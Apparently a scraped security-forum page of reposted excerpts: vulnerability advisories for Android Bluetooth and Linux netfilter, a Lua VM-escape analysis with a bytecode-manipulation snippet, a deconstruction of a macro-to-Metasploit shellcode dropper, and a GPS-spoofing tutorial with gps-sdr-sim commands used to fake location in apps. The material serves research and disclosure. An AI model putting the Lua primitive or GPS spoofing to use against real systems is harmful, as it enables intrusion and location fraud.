https://blog.netspi.com/dumping-memory-on-ios-8/
  10. Ctrl + F5 si tot la fel?
  11. Care problema?
  12. Subgraph OS: Adversary resistant computing platform. Subgraph believes that the best way to empower people to communicate and live freely is to develop technology that is secure, free, open-source, and verifiably trustworthy. Subgraph OS is an important part of that vision. The Internet is a hostile environment, and recent revelations have made it more apparent than ever before that risk to every day users extends beyond the need to secure the network transport - the endpoint is also at risk. Subgraph OS was designed from the ground-up to reduce the risks in endpoint systems so that individuals and organizations around the world can communicate, share, and collaborate without fear of surveillance or interference by sophisticated adversaries through network borne attacks. Subgraph OS is designed to be difficult to attack. This is accomplished through system hardening and a proactive, ongoing focus on security and attack resistance. Subgraph OS also places emphasis on the integrity of installable software packages. Link: https://subgraph.com/sgos/index.en.html
  13. PowerMemory Exploit the credentials present in files and memory Link: https://github.com/giMini/PowerMemory
      • 1
      • Upvote
  14. Binary code obfuscation through C++ template metaprogramming Samuel Neves and Filipe Araujo CISUC, Department of Informatics Engineering University of Coimbra, Portugal {sneves,filipius}@dei.uc.pt Abstract. Defending programs against illegitimate use and tampering has become both a field of study and a large industry. Code obfuscation is one of several strategies to stop, or slow down, malicious attackers from gaining knowledge about the internal workings of a program. Binary code obfuscation tools often come in two (sometimes overlapping) flavors. On the one hand there are “binary protectors”, tools outside of the development chain that translate a compiled binary into another, less intelligible one. On the other hand there are software development kits that require a significant effort from the developer to ensure the program is adequately obfuscated. In this paper, we present obfuscation methods that are easily integrated into the development chain of C++ programs, by using the compiler itself to perform the obfuscated code generation. This is accomplished by using advanced C++ techniques, such as operator overloading, template metaprogramming, expression templates, and more. We achieve obfuscated code featuring randomization, opaque predicates and data masking. We evaluate our obfuscating transformations in terms of potency, resilience, stealth, and cost. Download: https://eden.dei.uc.pt/~sneves/pubs/2012-snfa2.pdf
  15. WinDBG Anti-RootKit Extension v1.5 released Posted on 15.02.2015 by SWW WDBGARK is an extension (dynamic library) for the Microsoft Debugging Tools for Windows. It main purpose is to view and analyze anomalies in Windows kernel using kernel debugger. It is possible to view various system callbacks, system tables, object types and so on. For more user-friendly view extension uses DML. For the most of the commands kernel-mode connection required. Feel free to use extension with live kernel-mode debugging or with kernel-mode crash dump analysis (some commands will not work). Public symbols required, so use them, force to reload them, ignore checksum problems, prepare them before analysis and you’ll be happy. Open source project hosted on GitHub, C++, nice Wiki – all of this made completely in my spare time just for fun. First public version is simple, but I have plans to continue development. WinDBG Anti-RootKit Extension https://github.com/swwwolf/wdbgark 21 forks. 1 open issues. Recent commits: Code style fixing;Code Integrity information output tabbed; workaround for unresolvedexternal;, swwwolf optimization, swwwolf replace Microsoft's specific types with C++ types, swwwolf use WDbgArkSymbolsBase, swwwolf use WDbgArkSymbolsBase, swwwolf Sursa: http://sww-it.ru/2015-02-15/1242#.VuXglsjs4Ig.twitter
  16. Android: Stack Memory Corruption in BnBluetoothGattServer and BnBluetoothGatServerCallback IPC Android: Stack Memory Corruption in BnBluetoothGattServer and BnBluetoothGatServerCallback IPC Platform: Based on current master in AOSP Class: Elevation of Privilege This is in pre-release code and might not actually be vulnerable on a real device. While it’s probably only available in Brillo atm there are indications that it might become the default BT stack on later versions of Android so fixing it now would be good. I’ve not been able to test it directly but I have verified the code is vulnerable by building a copy for another device. Summary: The SEND_RESPONSE_TRANSACTION and SEND_NOTIFICATION_TRANSACTION IPC calls in BnBluetoothGattServer::onTransact are vulnerable to stack corruption which could allow an attacker to locally elevate privileges to the level of the bluetooth service. Description: The system/bt/service/common/bluetooth/binder/IBluetoothGattServer.cpp file which is part of a new Bluetooth stack for Brillo contains a binder service which has SEND_RESPONSE_TRANSACTION and SEND_NOTIFICATION_TRANSACTION calls. The handlers for these calls have a vulnerability where it’s possible to move the stack pointer out of bounds and get selective memory corruption on the stack. Note that BnBluetoothGattServerCallback also has similar code patterns in its ON_CHARACTERISTIC_WRITE_REQUEST_TRANSACTION and ON_DESCRIPTOR_WRITE_REQUEST_TRANSACTION calls. Link: https://code.google.com/p/google-security-research/issues/detail?id=712
  17. Analysis of VM escape by using LUA script Author: virustracker Time: February 29, 2016 Category: default Author: boywhp@126.com From: http://drops.wooyun.org/tips/12677 0x00 LUA Data Breaches Lua provides a string.dump that is used to dump a lua function into a LUA bytecode. And the loadingstring function is able to load a bytecode into a LUA function. Through manipulating LUA raw bytecodes, the LUA interpreter will be made into a special state and bugs will rise. asnum = loadstring(string.dump(function(x) for i = x, x, 0 do return i end end):gsub("\96%z%z\128", "\22\0\0\128")) The length of LUA bytecode is fixed with 32 bits, i.e.4 bytes, defined as: It’s comprised of opcodes, R(A), R(B), R(C), R(Bx) and R(sBx) where A, B and C each represent an index of LUA registers. The asnum function can transform any LUA objects to numbers (note: under LUA5.1 64bitLinux). The gsub function uses bytecode \22\0\0\128 to replace \96%z%z\128, as shown below: 0071 60000080 [4] forprep 1 1 ; to [6] 0075 1E010001 [5] return 4 2 0079 5F40FF7F [6] forloop 1 -2 ; to [5] if loop Aftere executing the gsub function, the forprep instruction is replaced as JMP to [6] and the following shows the corresponding code for the foreprep instruction in LUA interpreter: case OP_FORPREP: { const TValue *init = ra; const TValue *plimit = ra+1; const TValue *pstep = ra+2; L->savedpc = pc; /* next steps may throw errors */ if (!tonumber(init, ra)) luaG_runerror(L, LUA_QL("for") " initial value must be a number"); else if (!tonumber(plimit, ra+1)) luaG_runerror(L, LUA_QL("for") " limit must be a number"); else if (!tonumber(pstep, ra+2)) luaG_runerror(L, LUA_QL("for") " step must be a number"); setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep))); dojump(L, pc, GETARG_sBx(i)); continue; Under normal circumstances of LUA, the forprep instruction will check if the parameter is number-type and execute initialization. However, since bytecodes are replaced to JMP, the check for LUA types is skipped and execution directly enters into the forloop instruction. case OP_FORLOOP: { lua_Number step = nvalue(ra+2); lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */ lua_Number limit = nvalue(ra+1); if (luai_numlt(0, step) ? luai_numle(idx, limit) : luai_numle(limit, idx)) { dojump(L, pc, GETARG_sBx(i)); /* jump back */ setnvalue(ra, idx); /* update internal index... */ setnvalue(ra+3, idx); /* ...and external index */ } continue; } The forloop instruction will directly transform the loop parameters to Lua Number (double) and perform add operation (+0), and then execute dojump return; finally, it returns lua Number. LUA uses TValue to represent generic data objects using the following format: Value(64bit) tt(32bit) padd(32bit) n LUA_TNUMBER GCObject *gc; -> TString* LUA_TSTRING GCObject *gc; -> Closure* LUA_TFUNCTION Articol complet: http://en.wooyun.io/2016/02/29/44.html
  18. ELF: dynamic struggles Mar 12, 2016 Intro Every ELF64 binary starts with this header: typedef struct elf64_hdr { unsigned char e_ident[EI_NIDENT]; Elf64_Half e_type; Elf64_Half e_machine; Elf64_Word e_version; Elf64_Addr e_entry; Elf64_Off e_phoff; Elf64_Off e_shoff; Elf64_Word e_flags; Elf64_Half e_ehsize; Elf64_Half e_phentsize; Elf64_Half e_phnum; Elf64_Half e_shentsize; Elf64_Half e_shnum; Elf64_Half e_shstrndx; } Elf64_Ehdr; We are only going to concern ourselves with dynamically linked Elf64_Ehdr.e_type =ET_EXEC (executable files) or ET_DYN (dynamic shared objects, basically shared libraries). Note: If you don’t know what dynamic linking means, I suggest to read this article. I will not mention ELF sections on purpose. They are not relevant in executables and shared libraries. They don’t have to be there and should be treated like a nice bonus when they actually are. See sstrip. This “technique” is used by malware fairly often and you don’t need sstrip to do the job. e_phoff specifies the start of a program header table (PHT) in the file. The PHT is made of Elf64_Phdr entries (segments): typedef struct elf64_phdr { Elf64_Word p_type; Elf64_Word p_flags; Elf64_Off p_offset; /* Segment file offset */ Elf64_Addr p_vaddr; /* Segment virtual address */ Elf64_Addr p_paddr; /* Segment physical address */ Elf64_Xword p_filesz; /* Segment size in file */ Elf64_Xword p_memsz; /* Segment size in memory */ Elf64_Xword p_align; /* Segment alignment, file & memory */ } Elf64_Phdr; p_type can have values such as PT_LOAD, PT_DYNAMIC, PT_INTERP etc. When loading an ELF binary, the linux kernel looks for PT_LOAD segments and maps them into memory (among other things). When doing so, it uses both p_offset(segment file offset) and p_vaddr (the address where to map the segment into memory). ELF segments can overlap in the file. Usually, there are 2 PT_LOADsegments - 1 for code (R-X) and 1 for data (RW-). There can also be just 1 or more than 2. Whenever a virtual address needs to be converted to a file offset, it can be done like this: for(int i = 0; i < ehdr->e_phnum; i++) { if(seg.p_type != PT_LOAD) continue; if(va >= seg.p_vaddr && va < seg.p_vaddr + seg.p_memsz) { offset = seg.p_offset + (va - seg.p_vaddr); } } When you dynamically link an ELF, PT_DYNAMIC can be found in the program header table of the resulting binary. It usually belongs to the second PT_LOAD segment, therefore it is loaded into memory. PT_INTERP specifies the dynamic interpreter and the kernel is very sensitive about it. PT_DYNAMIC is an array of dynamic entries: typedef struct { Elf64_Sxword d_tag; /* entry tag value */ union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn; d_tag is the type of the dynamic entry. Dynamic entries contain vital information for the dynamic linker. Information such as symbol relocations to figure out what API are you trying to call (simplified) etc. Case: executable binaries Let’s compile a program and look at it with radare2 (always use the git version)! I am using radare on OS X: $ r2 -v radare2 0.10.2-git 10555 @ darwin-little-x86-64 git.0.10.1-99-g747699f commit: 747699f712d7cc0402b20c9313a16634e68d7764 build: 2016-03-11 #include <fcntl.h> #include <unistd.h> int main() { int fd = open("hello", O_CREAT | O_TRUNC | O_WRONLY); if(fd > 0) { write(fd, "world", 5); close(fd); } return 0; } I am using gcc (Debian 4.9.2-10) 4.9.2 ldd (Debian GLIBC 2.19-18+deb8u3) 2.19 onDebian 8.3 x64. Articol complet: https://michalmalik.github.io/elf-dynamic-segment-struggles
  19. Linux Kernel Exploitation Earning Its Pwnie a Vuln at a Time Jon Oberheide CTO, Scio Security Slides: https://jon.oberheide.org/files/source10-linuxkernel-jonoberheide.pdf
  20. Vezi drivere. Instaleaza ultimele versiuni, incearca sa faci update automat din windows (la drivere) si vezi daca ajuta.
  21. Pentru cei tehnici: https://www.nccgroup.trust/globalassets/our-research/uk/technical-advisories/2016/windows-10-usb-arbitrary-code-execution-in-kernel-modepdf/
  22. From Macro to SSL with Shellcode A Detailed Deconstruction petez on ‎03-09-2016 09:30 AM During the era of Windows 3.1 where “www” was just a repeated consonant and the internet was yet to enter the vernacular, Microsoft Office annoy-ware was already using macros within Office documents to cause mischief. It wasn’t until Mick Jagger’s “Start me up!” ushered in Windows95 (with Trumpet winsock for networking) that saw Office macros in the media with the Melissavirus. Back in those early days of Netscape, “co-operative multitasking,” and Doom II, the functionality of these macros was either parasitic or mass-mailing, but seldom did the complexity increase beyond the functionality offered by VBAScript. Why would they? The language was rich enough to write self-replicating code, send emails, and download files – more than enough to declare an undying love, as in the “I love you” virus. String obfuscation is cheap to perform but can quickly become far from trivial to detect generically. Much like the fashions of the late 1990’s, macro viruses fell out of vogue. Then in the last couple of years, macro viruses have returned. This article aims to deconstruct what is currently the new kid on the block. While not strictly necessary, I prefer to glance at one-off samples, such as incident responses, with a trusty hex-editor. This not only helps me familiarize myself with the file format, but it also presents an opportunity to spot hints on where to direct my attention next. The sample I chose to analyze clearly begins with the typical D0 CF 11 E0 magic, confirming this to indeed be an Office document file. Further strings below hint at this being a Microsoft Word file as opposed to an Excel spreadsheet or PowerPoint presentation. Figure 1 – Hex Workshop view of the sample Continuing to glance the hex dump, the presence of Auto-Open related strings hints that a macro and not some other form of exploit is the likely trigger mechanism. Figure 2 – Hex Workshop view showing Auto-Open related strings If the system does have macros enabled, this would not have been shown. When macros are not enabled (the default setting) the document employs a bit of social engineering. The warning and helpful instructions invite the recipient to enable macros, upon doing so invoking the malicious macro functionality. I do not however fall victim to this ruse. Figure 3 - Getting the user to enable macrosInstead I attempt to view the embedded macros using the Office Visual Basic editor. Clearly the macros are present but annoyingly have been password protected and so are not made visible.  Figure 4 Protected mode Although Office itself prevents the viewing of the Visual Basic macro without the password, this security feature is easily circumvented. Where are the macros? To extract the VBA macro for further study, I first tried some handy Python tools I have available. The comprises a handful of stand-alone, task-specific components designed to extract various information from an OLE container.  While the metadata and time information tools have their value, the oleid.py and olevba.py are the most useful for payload analysis. The olevba.py script not only allows for rapid triage and dumping of macro code but can also perform some basic analysis.  Another useful OLE tool used is oledump.py by Didier Stevens, which also has several options to show increasingly more detail. The stream hierarchy is a good overview, which makes the large macro at #8 and smaller one at #9 easy to spot for extraction. If Python is not your cup of tea, it may possible to manually extract the macro code with a hex editor – provided the OLE data is not compressed. However, care must be taken to ensure any artifacts get correctly handled. This is not recommended for the inexperienced.  Having extracted the macros into a separate file for convenience I can now clearly discern two main parts: an auto-open stub and the core functionality. Random names and various other obfuscations in macros is often indicative of maliciousness. Macro malware is often arranged this way thwart naïve macro analyzers relying on string matching. I can further break down the core functionality contained in function “tatata” into a few key logical blocks; declaration of variables, a shell call-out and some ‘glue’. The obvious long string of mostly base64 and a lightly obfuscated “POWERSHELL.EXE” are practically directing the analysis.  It is easy work to determine that the (randomly named) tatata function simply invokes powershell.exe and passes it the large string. The -enc flag is not used as a poor man’s obfuscator but actually for security circumvention for PowerShell. Peeling back the base64 layer is clearly the next step in deconstructing the sample, and I'm employing GNU's base64 on only the necessary part to reveal the PowerShell script. Macro gives rise to PowerShell As I glance the resulting script, three functional regions become apparent: setup, data, and glue. Of these, only the large blob of what is easily recognizable as hex data piques my interest. It is almost certainly going to be invoked as 32bit x86 code – hinted by the accompanying reference to win32 APIs. In addition, the ‘glue’ residing near the end does not appear to mangle the $z array, which means no additional transformation will be required.  PowerShell hexbytes condense to x86 Before being able to analyze this code, I need to massage the byte array from its textual form into an equivalent binary form conducive to disassembly. I achieve this thru nothing more than some fancy copy-paste (using the “interpret as hex” feature) into hex workshop to produce a 448 byte binary file I arbitrarily named sc.bin. Even for those familiar with x86 opcodes, the above hex-dump is unlikely to resemble valid code. This is mainly evident due to lack of 0x00's and common opcodes (a familiarity gained after many years). A quick peek with x86dis, an open-source x86 disassembler, reveals why:  The apparently absent call-pop, typically E8 00 00 00 00 58, is actually implemented using the FPU fnstenv instruction in conjunction with another preceding floating-point instruction (fcmovnb) then the ‘POP EDI’. Now I can establish EDI’s relative value after the fpu-call-pop. The fnstenv instruction saves the FPU state (including the EIP of the last FPU instruction) to some address, which here is ESP-0xC. The POP EDI then retrieves what is in effect the FPU states EIP member. This is how the shellcode locates itself in memory. After the POP, EDI will be the address of the first FPU instruction. I can now use this value to compute the target of the "XOR [EDI+0x18]" placing it a few (0x18 to be exact) bytes further.  I immediately realize that 0x18 is smack-bang in the middle of the shellcode I’m examining! More importantly, the XOR will modify the code as I see it. This reveals a classic snippet of self-modifying code. Navigating such self-modifying code in a disassembler is tedious, even for an experienced researcher and consequently, it's time to find a debugger or emulator. Of the abundant debuggers at hand, such as OllyDbg, WinDbg, IDA's own, gdb, etc., I found the x86emulator IDA plugin to be the most convenient for this particular task. Using a debugger would require too much faffing about with setup.  Now that I know what to expect, I carefully step thru just past the "XOR [EDI+0x18]" instruction as it patches the code just following. Revealed is a new backward “LOOP” that now forms a familiar decryptor.  Allowing the loop to run until completion reveals a second, similar decryptor at 0x2B, which I similarly overcame to finally reveal the inner workings of the shellcode. At this point I revert back to the analysis and annotation of the shellcode (made seamless by my choice to use the x86emul plugin). Figure 5 - IDA view of encoded shellcode being worked on by x86Emul plugin Swimming through the shellcode I continue the deconstruction at offset 0x37 as this is just after the second decryption loop. My analysis now follows execution-flow rather than linear address order, switching as may be required. I begin by observing a CALL which I determine must be to the body. I infer this by recognizing the alternate flow as a typical get-kernel32 and api-hash routine. Since I’m already expecting some form of API resolver, I ignore the code below the CALL and direct my attention to the target of the call, namely “body”.  As expected, the “POP EBP” at 0xBE confirms the “CALL body” does not return, serving only to get the address of the API-resolver into EBP. The next two immediate PUSHes collectively put the string 'ws2_32' on the stack (recalling that the stack grows down) while the “PUSH ESP” effectively puts the address of that string.  The final push of an unfamiliar 32bit value before “CALL EBP” must then be the hash of kernel32!LoadLibraryA by inference (‘ws2_32’ is the name of the windows networking library, and libraries are typically loaded by the LoadLibrary API). I confirm this assumption by later analyzing the code hashing code immediately following the “CALL body”.  The next part takes a leap of faith, or a decade of analysis experience. Knowing the following lets me speed ahead: A successful call of ‘WSAStartup’ returns zero in EAX The ‘socket’ API is required to transmit or receive network data A zero in the protocol argument of socket is acceptable (from MSDN: “…user does not wish to specify a protocol….”).  Working on the premise that the previous API was indeed ‘socket’, and noticing that this shellcode is thus far well-constructed, I’m left with two alternatives for the next API: either ‘connect’ to establish an outbound connection or 'bind' in preparation to accept an inbound connection. The choice is not a difficult one – following the execution flow in my minds-eye I observed no constructs resembling bind-listen-accept; so I chose ‘connect’. On that stride, what must be pushed is then the contents of the sockaddr_in structure, its size and subsequent address, socket descriptor, and lastly the APIs hash:  Using the sockaddr_in structure definition (remembering to byte-reverse where appropriate), I can identify the call-home IP and port number as [redacted] aaa.bbb.ccc.ddd where xxx=dec(xx), port 0x1bb (443, or the SSL port). As a reminder, here’s a basic picture of stack layout showing how the bytes map out to show the order and thus confirms the correct interpretation of the IP address.  Continuing the dissection, the next API-by-hash is reasoned to be ‘recv’. I already know it is socket related thru EDI, and an essentially undefined buffer is being passed in ESI. The hash value is also referenced later by fragments that only make sense for ‘recv’.  When the ‘recv’ API returns (assuming no error) ESI will point to a 4byte (32bit word, aka dword) value received from the network. The code will then xor the recv'd dword by some 32bit constant. This is likely done to obfuscate and/or avoid null bytes.  The next API is easily recognized by its arguments as ‘VirtualAlloc’, and since the previously xor’ed dword is directly passed to it as the size argument (ECX), it reveals it to be just that – the size of data to receive.  The alloc’d pointer in EAX is nudged by 0x100 and some registers saved. For now, I skip over this and expect the purpose will reveal itself in due time.  Now the already familiar hash for ‘recv’ (0x5FC8D902) makes understanding the next fragment simple - receive from the socket until the required number of bytes have been obtained.  Did that look like SSL? The astute reader will at this point have realized that despite the SSL port being contacted, there is a distinct lack of typical SSL negotiation traffic being sent or expected. Whereas real SSL negotiation should begin with a well-defined ClientHello message, the data actually observed (and expected by the malware) has a different structure. Real SSL traffic has a specific structure that differs from what is observed. A leading dword specifying size followed by ‘size’ bytes of RC4 encrypted data; as derived from the code that manipulates the content of the received buffer. Figure 6 - Redacted TCP reconstruction So what happens with the data? Realizing that the network exchange does not appear to be SSL, I continue analysis to learn how the received data is to be utilized. This must be the code when the exit condition of the recv-loop is met (all expected bytes received) at 0x164. Here we find a CALL to a function a short distance away that is recognizable as RC4. The key is in-lined immediately following the CALL and obtained by the pop into ESI.  That bit of code strongly resembles RC4 but caution! I say “resembles” since minor variations on the theme are difficult to spot, and would fail to decrypt with RC4-proper. I’ve not gone the extra mile to verify however, since 99% of the time it is unnecessary. How did I identify this as (likely) RC4? Easily! RC4 consists of three parts: initialize sbox, permute sbox with a key, and encrypt/decrypt data. More importantly, the sbox is 0x100 bytes, and is initialized with the index stored at each respective location. This also explains the nudge by 0x100 earlier. Application to data capture To decrypt the data-stream I had previously captured, I simply loaded the shellcode into a debugger, grafted the data at some nearby address, fixed up the relevant registers and ran it until the ‘RET’ at +0x1BF. Voila! An “MZ” appears! But wait – where does execution continue? Examining the shellcode leads me to conclude that the address of the buffer (now containing a PE file) is what remains on the stack prior to the ‘RET’… And so resulting in returning execution at the MZ header!? Why sure! The IDA window shows the loader executing “dec ebp ; pop edx” (aka “MZ”) in clever code-data alias. It is this loader stub hidden inside the MZ header that does the ReflectiveLoader call. Figure 7 - Ida view showing the “MZ” header as instructions (0x4d => ‘M’, 0x5a => ‘Z’) It turns out that without too much effort, the first function being called by this stub is ReflectiveLoader, and the module is metsrv.dll of Metasploit fame. Sanity-checking also confirms the modules size matching exactly the payload size. I leave to the reader to confirm the api_by_hash function is as suggested, and perhaps a topic for another day. Conclusion Use of Office auto-action macros made even more successful by a simple ruse was only the first step in this complex chain of events. The malware then obfuscated VBA by invoking Powershell to construct and launch non-obvious self-modifying shellcode. It then masqueraded as an outbound SSH connection to fly below-the-radar in order to download a Metasploit module. Once this agent has been deployed, there is no telling what else it had brought with it! Astute readers may have noticed that deep-packet inspection would probably have caught this non-conforming-ssl-attempt, but I’m sure the next revision will have a fix for that! Sursa: http://community.hpe.com/t5/Security-Research/From-Macro-to-SSL-with-Shellcode-A-Detailed-Deconstruction/ba-p/6839623#.VuE2wfl96Uk
      • 1
      • Upvote
  23. Nytro

    BinExport

    BinExport Copyright 2011-2016 Google Inc. Disclaimer: This is not an official Google product (experimental or otherwise), it is just code that happens to be owned by Google. Introduction BinExport is the exporter component of the BinNavi project. It is a plugin for the commercial IDA Pro disassembler and exports disassemblies into the PostgreSQL database format that BinNavi requires. A previous version (zynamics_binexport_8) also ships with BinDiff, serving a similar purpose. This repository contains the complete source code necessary to build the IDA Pro plugin for Linux, Windows and OS X. Installation Download the binaries from the release page and copy them into the IDA Pro plugins directory. These are the default paths: OS Plugin path Linux /opt/ida-6.9/plugins OS X /Applications/IDA Pro 6.9/idabin/plugins Windows %ProgramFiles(x86)%\IDA 6.9\plugins Note (Windows only): Due to the way the BinExport build works currently, you also have to copy the PostgreSQL client libray and SSL libraries to the IDA installation directory. See The "Build BinExport" section below. Sursa: https://github.com/google/binexport
  24. GPS hacking (PART 1) Author: virustracker Time: February 4, 2016 Category: default Author: Kevin2600 From: http://drops.wooyun.org/tips/11155 0x00 Preface GPS hacking has alway been a hot topic on security conferences over the past few years. But the contents are over academic and the cost for necessary equipment is too high, which stops many fans from getting started. The appearance of some open source projects, such as GPS-SDR-SIM, and the Keynote speech given by @Wang Kang on Blackhat Europe 2015 have pierced the veil of GPS. This means any user who is interested in this topic will truly be able to have a try on GPS hacking. I believe many of you have heard of a powerful tool called Software Defined Radio (SDR) in GPS research. But a new USRP is very expensive, until we found an amazing TV Dongle named RTL-SDR. Some time ago, everyone enjoys using it to watch “adult channels”. In view of its hardware constraints, it can only be used to received data. However, HackRF and BladeRF support both receiving and sending data, besides they are cheaper than USRP. Of course, HackRF and BladeRF support different frequency and sample rate. Therefore, this two become the first choice of radio fans. The most important part about BladeRF is that it is full duplexed. Here is a comparison between several SDR equipment. You may purchase as you need. Brief introduction of GPS system GPS system is very complex and involve many fields from satellite communications. Here is just a brief introduction. The GPS we are talking about is built by U.S. Department of Defense. Currently there are 31 satellites working simultaneously in space. Normally we need at least 4 satellites to complete triangulation positioning. All satellites broadcast both L1 signals for civil use and L2 signals for military use at the same time. What we often use is a 1575.42MHz ultra high frequency which is an unencrypted L1 signals for civil use. GPS signals include 3 kinds of information. Pseudorandom code: a simple ID code used to identify each satellite. Ephemeris data: include information about the time and status of satellites, which plays an important role in calculating the position of each satellite. Almanac data: include information about satellite orbits and the specific position that a satellite will be at in a given time. 0x01 Processes to forge BladeRF GPS signals 1.1 Install a BladeRF tool on Ubuntu 14.04.3 install the header file install BladeRF firmware & FPGA image After installation, you may notice a hostedX40.rbf and a bladerf_fw.img in /usr/share/nuand/BladeRF/. Here you can insert the BladeRF to a USB interface. Normally system will automatically load the FPGA image. Or it can be manually loaded by inputingbladerf_cli -l /path/hostedX40.rbf in command line. When the image is loaded successfully, 3 LED lights on BladeRF board will illuminate, meanwhile, we can add a -p parameter to further verify if system installation is successful. 1.2 Install GPS-SDR-SIM git clone https://github.com/osqzss/gps-sdr-sim.git cd gps-sdr-sim gcc gpssim.c -lm -O3 -o gps-sdr-sim Set up latitude and longitude, then generate a data sample. Note that the I/O baseband signal here is 16. Afterwards, gps-sdr-sim will generate data files with latitude and longitude data in a automatic way. Then we will be able to send the forged GPS data through bladerf_cli. 1.3 Running time issue of GPS-SDR-SIM In practical test, @Wangwang find that GPS simulator can only work continuously for five minutes by default. By viewing its source code, we realized this problem is caused by default settings of the program. The program is designed to use less hard drive space and will only generate 300-second data by default. We could modify its parameter to extend working time. But data of 15 minutes will be up to 5GB. 0x02 Forge GPS signals in practice @Wangwang has shared several practical test cases here. Whoever is interested may have a try. 2.1 Search for girls through Wechat People Nearby I heard that a lot of programmers have little time to hang out with their queen in heart due to working pressure and introvert personality. And Wechat People Nearby perfectly solves this problem for people like that. All you need is to turn on the GPS of your phone, then you’ll have a change to say hello to the girls near by. But the drawback is the maximum range is limited within dozen miles away. For those kings of emotion, the stage is too small. Here @Wangwang presents the first case on forging GPS signals-search girls through Wechat People Nearby. Rumor says a campaign held several days ago in Sanya, Hainan gathered a town of beauties. @Wangwang can’t help but wonder how they look like. Let’s try Wechat people nearby! Before sending the forged GPS coordinate, @Wangwang only got the girls in the same city. Then @Wangwang started to send the forge GPS coordinate. 5 minutes later, the girls in Sanya turned up. LOL…@Wangwang signed a tech geek can change his life. 2.2 Forge Nike+ step counts Many friends who are found of mobile security must have read a post called “using AnDroid Hook to cheat Wechat sports” (http://drops.wooyun.org/tips/8416) written by @Zheng Mi. In this post, he mentioned that he used Android Hook to cheat on step counts so that to beat his friends’ record. But this method needs you to root your phone and install some relevant cheating plugins. For other step counting software, these plugins require to be modified accordingly. Here the test target is Nike+ Running. Let’s see a video first. This video is expedited to save time. http://player.youku.com/player.php/sid/XMTQwMzAxMTk4OA==/v.swf By browsing the home page of GPS-SDR-SIM, we learn that the forged GPS latitude and longitude data can be static or dynamic. To succeed in simulating motion trail, we have to forge dynamic GPS latitude and longitude data, which can be completed by the following parameters. gps-sdr-sim -e brdc3540.14n -u circle.csv -b 16 As you can see, step counting App-Nike+ is fooled through directly forging GPS signals. You’ll be the top scorer even you are in bed. But, of course, @Wangwang wish you could really join in running and enjoy the joy of sports. 2.3 Range test on forge signals From the aforementioned experiments, we know that GPS receiver can accept software simulated signals within a short distance. Then what about the performance of the GPS receiver in a larger scale? How far does effective distance can reach? Of course, it connects with output power, antenna gain and signal interference from nearby signals. So @Wangwang only presents a simple indoor test here. Actual condition prevails. Please watch this video first. http://player.youku.com/player.php/sid/XMTQwMzAwNzMxNg==/v.swf As can be seen from the video, the latitude and longitude of the GPS receiver is successfully changed in a 25-meter long linear corridor without any obstacles. Normally, real GPS signals coming from 20,000 meters high are already weak, and almost no signal is detected indoors. Therefore, indoor GPS signals forging attack can be pretty effective. 0x03 Summaries Based on the above cases, I believe you have more or less learned something about forging GPS signals. But as far as GPS itself, this is a very funny and esoteric area. More GPS related products emerge in market and each will respond different towards GPS deceiving attacks. Everybody can use your imagination and try different tricks. Finally, I’d like to extend my thanks to @osqzss, @Wang Kang and countless GNURadio enthusiasts for their unselfish sharing. It’s because of them that we’ll have chance to experience the charm of software defined radio. I recommend you the home page of GPS-SDR-SIM Project and the presentation given by @Wang Kang on Blackhat. Those who have HackRF equipment can read the post “Hijack GPS positioning & hijack WIFI positioning” by @lxj616. 0x04 References http://drops.wooyun.org/tips/10580 https://github.com/osqzss/gps-sdr-sim https://en.wikipedia.org/wiki/GPS_signals “Time and Position Spoofing with Open Source Projects” Kang Wang http://www.taylorkillian.com/2013/08/sdr-showdown-hackrf-vs-bladerf-vs-usrp.html Sursa: http://en.wooyun.io/2016/02/04/41.html
      • 2
      • Upvote
  25. Linux netfilter IPT_SO_SET_REPLACE memory corruption A memory corruption vulnerability exists in the IPT_SO_SET_REPLACE ioctl in the netfilter code for iptables support. This ioctl is can be triggered by an unprivileged user on PF_INET sockets when unprivileged user namespaces are available (CONFIG_USER_NS=y). Android does not enable this option, but desktop/server distributions and Chrome OS will commonly enable this to allow for containers support or sandboxing. In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it is possible for a user-supplied ipt_entry structure to have a large next_offset field. This field is not bounds checked prior to writing a counter value at the supplied offset: newpos = pos + e->next_offset; ... e = (struct ipt_entry *) (entry0 + newpos); e->counters.pcnt = pos; This means that an out of bounds 32-bit write can occur in a 64kb range from the allocated heap entry, with a controlled offset and a partially controlled write value ("pos") or zero. The attached proof-of-concept (netfilter_setsockopt_v3.c) triggers the corruption multiple times to set adjacent heap structures to zero. This issue affects (at least) kernel versions 3.10, 3.18 and 4.4. It appears that a similar codepath is accessible via arp_tables.c/ARPT_SO_SET_REPLACE as well. Furthermore, a recent refactoring cof this codepath (https://github.com/torvalds/linux/commit/2e4e6a17af35be359cc8f1c924f8f198fbd478cc) introduced an integer overflow in xt_alloc_table_info, which on 32-bit systems can lead to small structure allocation and a copy_from_user based heap corruption. The attached proof-of-concept (netfilter_setsockopt_v4.c) triggers this issue on 4.4. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. netfilter_setsockopt_v3.c 2.0 KB Download netfilter_setsockopt_v4.c 1.3 KB Download Sursa: https://code.google.com/p/google-security-research/issues/detail?id=758
×
×
  • Create New...